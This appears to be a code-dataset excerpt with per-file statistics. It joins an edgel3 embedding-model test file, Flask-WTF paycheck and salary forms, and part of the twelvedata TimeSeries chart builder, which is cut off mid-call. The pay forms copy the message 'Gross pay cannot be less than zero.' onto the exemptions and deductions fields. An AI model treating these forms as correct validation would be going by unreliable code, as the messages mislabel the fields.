assert '/'.join(embedding_model_path.split('/')[-2:]) == 'edgel3/edgel3_ft_audio_sparsity_53.5.h5'
embedding_model_path = load_embedding_model_path('ft', 63.5)
assert '/'.join(embedding_model_path.split('/')[-2:]) == 'edgel3/edgel3_ft_audio_sparsity_63.5.h5'
embedding_model_path = load_embedding_model_path('ft', 72.3)
assert '/'.join(embedding_model_path.split('/')[-2:]) == 'edgel3/edgel3_ft_audio_sparsity_72.3.h5'
embedding_model_path = load_embedding_model_path('ft', 73.5)
assert '/'.join(embedding_model_path.split('/')[-2:]) == 'edgel3/edgel3_ft_audio_sparsity_73.5.h5'
embedding_model_path = load_embedding_model_path('ft', 81.0)
assert '/'.join(embedding_model_path.split('/')[-2:]) == 'edgel3/edgel3_ft_audio_sparsity_81.0.h5'
embedding_model_path = load_embedding_model_path('ft', 87.0)
assert '/'.join(embedding_model_path.split('/')[-2:]) == 'edgel3/edgel3_ft_audio_sparsity_87.0.h5'
embedding_model_path = load_embedding_model_path('ft', 90.5)
assert '/'.join(embedding_model_path.split('/')[-2:]) == 'edgel3/edgel3_ft_audio_sparsity_90.5.h5'
embedding_model_path = load_embedding_model_path('ft', 95.45)
assert '/'.join(embedding_model_path.split('/')[-2:]) == 'edgel3/edgel3_ft_audio_sparsity_95.45.h5'
#Check the output paths for kd models
embedding_model_path = load_embedding_model_path('kd', 53.5)
assert '/'.join(embedding_model_path.split('/')[-2:]) == 'edgel3/edgel3_kd_audio_sparsity_53.5.h5'
embedding_model_path = load_embedding_model_path('kd', 63.5)
assert '/'.join(embedding_model_path.split('/')[-2:]) == 'edgel3/edgel3_kd_audio_sparsity_63.5.h5'
embedding_model_path = load_embedding_model_path('kd', 72.3)
assert '/'.join(embedding_model_path.split('/')[-2:]) == 'edgel3/edgel3_kd_audio_sparsity_72.3.h5'
embedding_model_path = load_embedding_model_path('kd', 73.5)
assert '/'.join(embedding_model_path.split('/')[-2:]) == 'edgel3/edgel3_kd_audio_sparsity_73.5.h5'
embedding_model_path = load_embedding_model_path('kd', 81.0)
assert '/'.join(embedding_model_path.split('/')[-2:]) == 'edgel3/edgel3_kd_audio_sparsity_81.0.h5'
embedding_model_path = load_embedding_model_path('kd', 87.0)
assert '/'.join(embedding_model_path.split('/')[-2:]) == 'edgel3/edgel3_kd_audio_sparsity_87.0.h5'
embedding_model_path = load_embedding_model_path('kd', 90.5)
assert '/'.join(embedding_model_path.split('/')[-2:]) == 'edgel3/edgel3_kd_audio_sparsity_90.5.h5'
embedding_model_path = load_embedding_model_path('kd', 95.45)
assert '/'.join(embedding_model_path.split('/')[-2:]) == 'edgel3/edgel3_kd_audio_sparsity_95.45.h5'
def test_load_embedding_model():
m = load_embedding_model('ft', 53.5)
assert m.output_shape[1] == 512
m = load_embedding_model('ft', 63.5)
assert m.output_shape[1] == 512
m = load_embedding_model('ft', 72.3)
assert m.output_shape[1] == 512
m = load_embedding_model('ft', 73.5)
assert m.output_shape[1] == 512
m = load_embedding_model('ft', 81.0)
assert m.output_shape[1] == 512
m = load_embedding_model('ft', 87.0)
assert m.output_shape[1] == 512
m = load_embedding_model('ft', 90.5)
assert m.output_shape[1] == 512
m = load_embedding_model('ft', 95.45)
assert m.output_shape[1] == 512
#Check for knowledge distilled models
m = load_embedding_model('kd', 53.5)
assert m.output_shape[1] == 512
m = load_embedding_model('kd', 63.5)
assert m.output_shape[1] == 512
m = load_embedding_model('kd', 72.3)
assert m.output_shape[1] == 512
m = load_embedding_model('kd', 73.5)
assert m.output_shape[1] == 512
m = load_embedding_model('kd', 81.0)
assert m.output_shape[1] == 512
m = load_embedding_model('kd', 87.0)
assert m.output_shape[1] == 512
m = load_embedding_model('kd', 90.5)
assert m.output_shape[1] == 512
m = load_embedding_model('kd', 95.45)
assert m.output_shape[1] == 512
| 40.285714
| 103
| 0.7
| 649
| 4,230
| 4.198767
| 0.066256
| 0.349358
| 0.330275
| 0.145321
| 0.946789
| 0.908624
| 0.908624
| 0.908624
| 0.854312
| 0.852844
| 0
| 0.076564
| 0.138534
| 4,230
| 104
| 104
| 40.673077
| 0.67124
| 0.025296
| 0
| 0.238806
| 0
| 0
| 0.175243
| 0.151942
| 0
| 0
| 0
| 0
| 0.477612
| 1
| 0.029851
| false
| 0
| 0.014925
| 0
| 0.044776
| 0
| 0
| 0
| 0
| null | 1
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
72b62c812c5c7014e3fcb9a85cb177194451e793
| 3,546
|
py
|
Python
|
application/pay/pay_forms.py
|
akelshareif/fiscally
|
ca44ca00537d2b9ef1bca8a3a67b66427394dc72
|
[
"MIT"
] | 1
|
2020-09-18T04:18:58.000Z
|
2020-09-18T04:18:58.000Z
|
application/pay/pay_forms.py
|
akelshareif/fiscally
|
ca44ca00537d2b9ef1bca8a3a67b66427394dc72
|
[
"MIT"
] | null | null | null |
application/pay/pay_forms.py
|
akelshareif/fiscally
|
ca44ca00537d2b9ef1bca8a3a67b66427394dc72
|
[
"MIT"
] | null | null | null |
""" All pay related forms """
from flask_wtf import FlaskForm
from wtforms import DecimalField, IntegerField, RadioField, SelectField
from wtforms.fields.html5 import DateField
from wtforms.validators import InputRequired, Optional, NumberRange
from .state_dict import states
class PaycheckForm(FlaskForm):
""" Add paycheck form """
pay_frequency = RadioField('Pay Frequency', choices=[(52, 'Weekly'), (26, 'Bi-Weekly'), (24, 'Semi-Monthly'), (
12, 'Monthly')], validators=[InputRequired(message="You must select a pay frequency.")])
pay_date = DateField('Pay Date', format='%Y-%m-%d',
validators=[InputRequired()])
gross_pay = DecimalField('Gross Pay', places=2, validators=[
InputRequired(message="You must enter your gross pay."), NumberRange(min=0, message="Gross pay cannot be less than zero.")])
filing_status = RadioField('Filing Status', choices=[('single', 'Single'), ('married', 'Married'), ('married_separately', 'Married Filing Separately'), (
'head_of_household', 'Head of Household')], validators=[InputRequired(message="You must select your filing status.")])
state = SelectField('State', choices=list(states.items()), validators=[InputRequired(
message="You must select the state which you've worked in.")])
exemptions = IntegerField('Number of Exemptions', validators=[
Optional(), NumberRange(min=0, message="Gross pay cannot be less than zero.")])
pre_tax_deductions = DecimalField(
'Pre-Tax Deductions', places=2, validators=[Optional(), NumberRange(min=0, message="Gross pay cannot be less than zero.")])
class EditPaycheckForm(FlaskForm):
""" Edit paycheck form """
pay_frequency = RadioField('Pay Frequency', choices=[(52, 'Weekly'), (26, 'Bi-Weekly'), (24, 'Semi-Monthly'), (
12, 'Monthly')], validators=[InputRequired(message="You must select a pay frequency.")])
pay_date = DateField('Pay Date', format='%Y-%m-%d',
validators=[InputRequired()])
gross_pay = DecimalField('Gross Pay', places=2, validators=[
InputRequired(message="You must enter your gross pay."), NumberRange(min=0, message="Gross pay cannot be less than zero.")])
filing_status = RadioField('Filing Status', choices=[('single', 'Single'), ('married', 'Married'), ('married_separately', 'Married Filing Separately'), (
'head_of_household', 'Head of Household')], validators=[InputRequired(message="You must select your filing status.")])
state = SelectField('State', choices=list(states.items()), validators=[InputRequired(
message="You must select the state which you've worked in.")])
exemptions = IntegerField('Number of Exemptions', validators=[
Optional(), NumberRange(min=0, message="Gross pay cannot be less than zero.")])
pre_tax_deductions = DecimalField(
'Pre-Tax Deductions', places=2, validators=[Optional(), NumberRange(min=0, message="Gross pay cannot be less than zero.")])
class SalaryGrossPayForm(FlaskForm):
""" Form to calculate gross salary """
salary = DecimalField('Annual Salary', places=2, validators=[
InputRequired(message="You must enter your annual salary.")])
pay_frequency = RadioField('Pay Frequency', choices=[(52, 'Weekly'), (26, 'Bi-Weekly'), (24, 'Semi-Monthly'), (
12, 'Monthly')], validators=[InputRequired(message="You must select a pay frequency.")])
| 52.925373
| 157
| 0.664975
| 400
| 3,546
| 5.8425
| 0.22
| 0.1181
| 0.12837
| 0.141207
| 0.83697
| 0.83697
| 0.83697
| 0.83697
| 0.83697
| 0.814292
| 0
| 0.01253
| 0.189791
| 3,546
| 66
| 158
| 53.727273
| 0.800905
| 0.025945
| 0
| 0.75
| 0
| 0
| 0.31797
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.125
| 0
| 0.6
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
f4023fd30c498bca547c1a3d007ad79de16c7f28
| 276,166
|
py
|
Python
|
src/twelvedata/time_series.py
|
bhardwajRahul/twelvedata-python
|
738e4da8ad09511c0ed4b1bfca2709fbc3a9c1aa
|
[
"MIT"
] | null | null | null |
src/twelvedata/time_series.py
|
bhardwajRahul/twelvedata-python
|
738e4da8ad09511c0ed4b1bfca2709fbc3a9c1aa
|
[
"MIT"
] | null | null | null |
src/twelvedata/time_series.py
|
bhardwajRahul/twelvedata-python
|
738e4da8ad09511c0ed4b1bfca2709fbc3a9c1aa
|
[
"MIT"
] | 1
|
2021-01-01T10:49:59.000Z
|
2021-01-01T10:49:59.000Z
|
# coding: utf-8
import time
import pytimeparse
import re
import itertools
from collections import OrderedDict, Counter
from .endpoints import *
from .utils import apply_context_defaults, force_use_kwargs, parse_interval_in_minutes
__all__ = ("TimeSeries",)
class TimeSeries(object):
def __init__(
self, ctx, endpoints=(), price_endpoint=None, price_endpoint_enabled=True
):
self.ctx = ctx
self.price_endpoint_enabled = price_endpoint_enabled
self.price_endpoint = price_endpoint or TimeSeriesEndpoint(
self.ctx, **self.ctx.defaults
)
self.endpoints = endpoints
def clone(self):
return TimeSeries(
ctx=self.ctx,
endpoints=self.endpoints,
price_endpoint=self.price_endpoint,
price_endpoint_enabled=self.price_endpoint_enabled,
)
def as_json(self):
out = OrderedDict()
is_batch = False
postfixes = self._generate_postfixes()
error_symbols = []
if self.price_endpoint_enabled:
time_series_json = self.price_endpoint.as_json()
is_batch = self.price_endpoint.is_batch
for row_symbol in time_series_json:
if self.price_endpoint.is_batch:
values = OrderedDict()
if time_series_json[row_symbol]['status'] == 'error':
error_symbols.append(row_symbol)
continue
for v in time_series_json[row_symbol]['values']:
values.setdefault(v["datetime"], {}).update(v)
out[row_symbol] = values
else:
out.setdefault(row_symbol["datetime"], {}).update(row_symbol)
for ep in self.endpoints:
postfix = str(next(postfixes[ep.__class__]))
indicator_json = ep.as_json()
for row in indicator_json:
if ep.is_batch:
if row.upper() in error_symbols:
continue
values = out[row]
for v in indicator_json[row]['values']:
if postfix:
v = {
(k if k == "datetime" else "{}_{}".format(k, postfix)): v
for k, v in v.items()
}
values.setdefault(v["datetime"], {}).update(v)
out[row] = values
else:
if postfix:
row = {
(k if k == "datetime" else "{}_{}".format(k, postfix)): v
for k, v in row.items()
}
out.setdefault(row["datetime"], {}).update(row)
if is_batch:
for k, v in out.items():
out[k] = tuple(v.values())
return dict(out)
return tuple(out.values())
def as_csv(self, **kwargs):
out = OrderedDict()
postfixes = self._generate_postfixes()
if self.price_endpoint_enabled:
for row in self.price_endpoint.as_csv():
out.setdefault(row[0], []).extend(row)
for ep in self.endpoints:
postfix = str(next(postfixes[ep.__class__]))
for row in ep.as_csv(**kwargs):
if row[0] == "datetime":
row = ["{}{}".format(header, postfix) for header in row[1:]]
row.insert(0, "datetime")
if not out:
out.setdefault(row[0], []).extend(row)
else:
out.setdefault(row[0], []).extend(row[1:])
return tuple(out.values())
def as_pandas(self, **kwargs):
import pandas
postfixes = self._generate_postfixes()
if self.price_endpoint_enabled:
df = self.price_endpoint.as_pandas()
else:
df = None
for ep in self.endpoints:
tmp_df = ep.as_pandas(**kwargs)
tmp_df = tmp_df.add_suffix(str(next(postfixes[ep.__class__])))
if df is None:
df = tmp_df
continue
df = pandas.merge(
df, tmp_df, how="left", left_index=True, right_index=True
)
return df
def _has_overlays(self):
return any(ep.is_overlay for ep in self.endpoints)
def _count_subplots(self):
"""Count how many charts should be displayed"""
if self.price_endpoint_enabled or self._has_overlays():
subplots_count = 1
else:
subplots_count = 0
for ep in self.endpoints:
subplots_count += ep.is_indicator and not ep.is_overlay
return subplots_count
def _chart_title(self):
return "{} - {}".format(
self.ctx.defaults.get("symbol").upper(), self.ctx.defaults.get("interval")
)
def _generate_postfixes(self):
# If user specified multiple same endpoints we should add postfixes
postfixes = {}
empty = itertools.cycle(("",))
for cls, n in Counter(ep.__class__ for ep in self.endpoints).items():
if n > 1:
postfixes[cls] = itertools.count(1)
else:
postfixes[cls] = empty
return postfixes
def as_pyplot_figure(self, figsize=(16, 8), candle_width=0.0002):
import matplotlib.dates as mdates
import matplotlib.pyplot as plt
import matplotlib.ticker as mticker
from pandas.plotting import register_matplotlib_converters
register_matplotlib_converters()
plt.rcParams["figure.figsize"] = figsize
subplots_count = self._count_subplots()
def mark_xaxis_as_date(x):
x.xaxis_date()
x.xaxis.set_major_formatter(mdates.DateFormatter("%Y-%m-%d %H:%M"))
x.xaxis.set_major_locator(mticker.MaxNLocator(10))
for label in x.xaxis.get_ticklabels():
label.set_rotation(45)
x.grid(True)
# All subplots should be %25 from height of main plot
if self.price_endpoint_enabled:
gridspec = {
"width_ratios": [1],
"height_ratios": [4] + ([1] * (subplots_count - 1)),
}
else:
gridspec = {"width_ratios": [1], "height_ratios": [1] * subplots_count}
# Create multiple plots with shared X-axis
fig, axs = plt.subplots(subplots_count, 1, sharex=True, gridspec_kw=gridspec)
fig.suptitle(self._chart_title(), x=0.44, y=0.95)
ax_iter = iter((axs,)) if subplots_count == 1 else iter(axs)
# Binding a width of the candles to the interval, otherwise
# the candles will be too thin
interval = self.ctx.defaults.get("interval", "1min")
interval_minutes = parse_interval_in_minutes(interval) or 1
# Render price chart first
price_ax = None
if self.price_endpoint_enabled:
price_ax = next(ax_iter)
self.price_endpoint.render_matplotlib(
ax=price_ax,
candle_width=candle_width,
interval_minutes=interval_minutes,
)
price_ax.yaxis.tick_right()
price_ax.yaxis.set_label_position("right")
mark_xaxis_as_date(price_ax)
elif self._has_overlays():
price_ax = next(ax_iter)
# Render tech indicators
# postfixes = self._generate_postfixes()
# for ep in self.endpoints:
# if ep.is_overlay:
# ax = price_ax
# else:
# ax = next(ax_iter)
# ax.margins(0.25)
#
# ax.yaxis.tick_right()
# ax.yaxis.set_label_position("right")
#
# postfix = next(postfixes[ep.__class__])
# ep.render_matplotlib(
# ax=ax, interval_minutes=interval_minutes, postfix=postfix
# )
#
# if not ep.is_overlay:
# mark_xaxis_as_date(ax)
#
# ax.legend(loc="upper left")
plt.subplots_adjust(wspace=0, hspace=0, left=0.1, right=0.8)
plt.xlabel("Time")
return fig
def show_pyplot(self, figsize=(20, 10), candle_width=0.002):
import matplotlib as mpl
import matplotlib.pyplot as plt
mpl.use("WebAgg")
self.as_pyplot_figure(figsize=figsize, candle_width=candle_width)
plt.show()
def as_plotly_figure(self):
from plotly.subplots import make_subplots
import plotly.graph_objs as go
subplots_count = self._count_subplots()
# All subplots should have %25 height from the main plot
if self.price_endpoint_enabled:
row_width = [1]
row_width.extend([0.25] * (subplots_count - 1))
else:
row_width = [1] * subplots_count
fig = make_subplots(
rows=subplots_count,
cols=1,
shared_xaxes=True,
vertical_spacing=0,
row_width=row_width[::-1],
)
# Draw main plot
if self.price_endpoint_enabled:
price_traces = self.price_endpoint.render_plotly(fig=fig)
fig.add_trace(price_traces[0], 1, 1)
for trace in price_traces[1:]:
fig.add_trace(trace)
# Draw other subplots
postfixes = self._generate_postfixes()
overlay_endpoints = (ep for ep in self.endpoints if ep.is_overlay)
for ep in overlay_endpoints:
postfix = next(postfixes[ep.__class__])
for ep_trace in ep.render_plotly(postfix=postfix):
fig.add_trace(ep_trace)
if self.price_endpoint_enabled or self._has_overlays():
start_index = 2
else:
start_index = 1
separate_endpoints = (ep for ep in self.endpoints if not ep.is_overlay)
for idx, ep in enumerate(separate_endpoints, start=start_index):
postfix = next(postfixes[ep.__class__])
for ep_trace in ep.render_plotly(postfix=postfix):
fig.add_trace(ep_trace, idx, 1)
# Move all ticks on Y-axis to the right
for yaxis in (fig.layout[attr] for attr in fig.layout if attr[:5] == "yaxis"):
yaxis.side = "right"
yaxis.mirror = "allticks"
# Set title and remove rangeslider
fig.update(
layout_title={
"text": self._chart_title(),
"x": 0.5,
"xanchor": "center",
"y": 0.9,
"yanchor": "top",
},
layout_xaxis_rangeslider_visible=False,
)
return fig
def show_plotly(self):
fig = self.as_plotly_figure()
fig.show()
def _with_endpoint(self, ep):
ts = self.clone()
ts.endpoints += (ep,)
return ts
def _with_price_endpoint(self, ep):
ts = self.clone()
ts.price_endpoint = ep
return ts
def without_ohlc(self):
"""
Disable price data/chart
"""
ts = self.clone()
ts.price_endpoint_enabled = False
return ts
def with_ohlc(self):
"""
Enable price data/chart
"""
ts = self.clone()
ts.price_endpoint_enabled = True
return ts
@force_use_kwargs
@apply_context_defaults
def with_ad(
self,
exchange=None,
country=None,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of AD to chart builder
Chaikin A/D Line(AD) calculates Advance/Decline of an asset. This
indicator belongs to the group of Volume Indicators.
This API call returns meta and time series values of AD. Meta object
consists of general information about requested technical indicator.
Time series is the array of objects ordered by time desceding updated
realtime.
:param symbol: Name of instrument you want to request
For preffered stocks use dot(.) delimiterE.g. BRK.A or BRK.B will be
correct
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = ADEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_adosc(
self,
exchange=None,
country=None,
fast_period=12,
slow_period=26,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of ADOSC to chart builder
Chaikin A/D Oscillator(ADOSC) is an indicator of indicator which has
an idea to find relationship between increasing and deacreasing volume
with price fluctuations. The Chaikin Oscillator measures the momentum
of the Accumulation/Distribution Line(ADL) using two Exponential
Moving Averages of varying length to the line(MACD).
This API call returns meta and time series values of ADOSC. Meta
object consists of general information about requested technical
indicator. Time series is the array of objects ordered by time
desceding updated realtime.
:param symbol: Name of instrument you want to request
For preffered stocks use dot(.) delimiter.
E.g. BRK.A or BRK.B will be correct
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored. Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param fast_period: Number of periods for fast moving average.
Must be at least 1
:param slow_period: Number of periods for slow moving average.
Must be at least 1
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = ADOSCEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
fast_period=fast_period,
slow_period=slow_period,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_adx(
self,
exchange=None,
country=None,
time_period=14,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of ADX to chart builder
Average Directional Movement Index(ADX) is used to decide if the price
trend is strong.
This API call returns meta and time series values of ADX. Meta object
consists of general information about requested technical indicator.
Time series is the array of objects ordered by time desceding updated
realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency. E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param time_period: Number of periods to average over. Must be at
least 1
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = ADXEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
time_period=time_period,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_adxr(
self,
exchange=None,
country=None,
time_period=14,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of ADXR to chart builder
Average Directional Movement Index Rating(ADXR) is a smoothed version
of ADX indicator. ADXR quantifies momentum change in the ADX.
This API call returns meta and time series values of ADXR. Meta object
consists of general information about requested technical indicator.
Time series is the array of objects ordered by time desceding updated
realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency. E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param time_period: Number of periods to average over. Must be at
least 1
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = ADXREndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
time_period=time_period,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_apo(
self,
exchange=None,
country=None,
time_period=9,
fast_period="12",
slow_period="26",
ma_type="SMA",
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of APO to chart builder
Absolute Price Oscillator(APO) calculates the difference between two
price moving averages.
This API call returns meta and time series values of APO. Meta object
consists of general information about requested technical indicator.
Time series is the array of objects ordered by time desceding updated
realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency. E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param time_period: Number of periods to average over. Must be at
least 1
:param fast_period: Number of periods for fast moving average. Must
be at least 1
:param slow_period: Number of periods for slow moving average. Must
be at least 1
:param ma_type:
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = APOEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
time_period=time_period,
fast_period=fast_period,
slow_period=slow_period,
ma_type=ma_type,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_aroon(
self,
exchange=None,
country=None,
time_period=14,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of AROON to chart builder
Aroon Indicator(AROON) is used to identify if the price is trending.
It can also spot beginning of new trend and it's strength.
This API call returns meta and time series values of AROON. Meta
object consists of general information about requested technical
indicator. Time series is the array of objects ordered by time
desceding updated realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param time_period: Number of periods to average over. Must be at
least 1
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = AROONEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
time_period=time_period,
outputsize=outputsize,
start_date=start_date,
end_date=end_date,
dp=dp,
timezone=timezone,
prepost=prepost
)
return self._with_endpoint(ep)
@force_use_kwargs
@apply_context_defaults
def with_aroonosc(
self,
exchange=None,
country=None,
time_period=14,
outputsize=30,
start_date=None,
end_date=None,
dp=5,
timezone="Exchange",
prepost="false"
):
"""
Add request builder of AROONOSC to chart builder
Aroon Oscillator(AROONOSC) uses classic Aroon(Aroon Up and Aroon down)
to measure the strength of persisting trend and it's chances to
persist.
This API call returns meta and time series values of AROONOSC. Meta
object consists of general information about requested technical
indicator. Time series is the array of objects ordered by time
desceding updated realtime.
:param symbol: Instrument symbol, can be any stock, forex or
cryptocurrency E.g. AAPL, EUR/USD, ETH/BTC, ...
:param interval: Interval between two consecutive points in time series
:param exchange: Only is applicable to stocks and cryptocurrencies
otherwise is ignored
Exchange where instrument is traded
:param country: Only is applicable to stocks otherwise is ignored
Country where instrument is traded
:param time_period: Number of periods to average over. Must be at
least 1
:param outputsize: Number of last datapoints to retrieve
:param start_date: Start date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param end_date: End date of selection, accepts "yyyy-MM-dd hh:mm:ss" and "yyyy-MM-dd" formats
:param dp: Specifies number of decimal places for floating values
:param timezone: Timezone at which output datetime will be displayed
Exchange for local exchange time2. UTC for datetime at universal
UTC standard3. Timezone name according to IANA Time Zone
Database. E.g. America/New_York, Asia/Singapore. Full list of
timezones can be found here.Take note that IANA Timezone name is
case-sensitive.
:param prepost: Available at the 1min, 5min, 15min, and 30min intervals for all US equities.
:returns: chart builder
:rtype: ChartEndpoint
"""
ep = AROONOSCEndpoint(
ctx=self.ctx,
symbol=self.ctx.defaults["symbol"],
interval=self.ctx.defaults["interval"],
exchange=exchange,
country=country,
time_period=time_period,
